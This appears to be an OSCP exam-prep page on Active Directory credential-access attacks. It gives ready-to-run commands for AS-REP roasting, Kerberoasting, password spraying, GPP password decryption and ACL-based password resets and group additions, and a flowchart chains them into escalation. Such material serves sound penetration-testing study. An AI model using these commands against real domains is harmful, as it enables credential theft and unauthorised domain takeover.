Active Directory — attacks (credential access)¶
These attacks turn a low-privilege domain user into more credentials. Each one abuses a specific, legitimate AD feature — understanding which feature is what lets you recognise the opportunity in your BloodHound/LDAP output. Crack everything offline (no banned tools), and remember: try password reuse/spraying first — it's the most common OSCP AD win, and it needs no exotic technique.
AS-REP Roasting — abuses "no Kerberos pre-auth"¶
The feature: normally Kerberos makes you prove your password before it sends anything crackable. Accounts flagged "Do not require Kerberos pre-authentication" skip that — so the DC will hand you an encrypted blob (derived from the user's password) with no authentication at all. You crack it offline.
# no creds — just a user list:
impacket-GetNPUsers $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DC_IP -format hashcat
# with a cred, find them automatically:
impacket-GetNPUsers $DOMAIN/$USER:$PASS -request -dc-ip $DC_IP -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
Kerberoasting — abuses service account SPNs¶
The feature: any domain user can request a service ticket (TGS) for any service account that has a Service Principal Name (SPN). That ticket is encrypted with the service account's password hash — so you request it and crack it offline. Service accounts are often human-set passwords that never expire and are over-privileged, so a cracked one frequently lands you high.
impacket-GetUserSPNs $DOMAIN/$USER:$PASS -dc-ip $DC_IP -request -outputfile tgs.txt
hashcat -m 13100 tgs.txt rockyou.txt
Password spraying — abuses password reuse + weak policies¶
The idea: people pick Season+Year!. You spray one such guess across all users (not many guesses at one user — that locks accounts).
netexec smb $DC -u users.txt -p 'Autumn2026!' --continue-on-success
kerbrute passwordspray -d $DOMAIN --dc $DC users.txt 'Welcome1'
Lockout discipline: check
--pass-polfirst; spray one password per observation window. Locking out the domain mid-exam is a self-inflicted failure.
GPP passwords — abuses a Microsoft design flaw¶
The feature/flaw: old Group Policy Preferences stored passwords in SYSVOL (readable by all domain users) encrypted with a key Microsoft published. So any user can decrypt them.
ACL / object-control abuse — abuses delegated permissions¶
The feature: admins delegate rights (reset this group's passwords, manage that OU). Misconfigured, these become privilege escalation. BloodHound shows them as edges out of your user:
# ForceChangePassword / GenericAll on a USER -> reset their password:
net rpc password "victim" "NewPass123!" -U "$DOMAIN"/"$USER"%"$PASS" -S $DC
# GenericAll / AddMember on a GROUP -> add yourself:
bloodyAD -u $USER -p $PASS -d $DOMAIN --host $DC add groupMember "Target Group" $USER
# GenericWrite on a user -> targeted Kerberoast (add an SPN, roast, remove):
targetedKerberoast.py -d $DOMAIN -u $USER -p $PASS
# WriteDACL on the domain object -> grant yourself DCSync rights (see lateral-movement)
Putting it together¶
flowchart TD
A["low-priv domain user"] --> B{"BloodHound / LDAP shows..."}
B -->|no-preauth user| C["AS-REP roast -> hashcat 18200"]
B -->|SPN account| D["Kerberoast -> hashcat 13100"]
B -->|lockout headroom| E["spray a seasonal password"]
B -->|GPP in SYSVOL| F["gpp_password -> plaintext"]
B -->|ACL edge| G["reset pw / add to group / grant DCSync"]
C --> H["NEW credentials"]
D --> H
E --> H
F --> H
G --> H
H --> I["validate everywhere + re-run BloodHound as this user"]
Every new credential → re-validate against every host and re-map from that user. You're climbing a ladder of trust relationships; each rung reveals the next.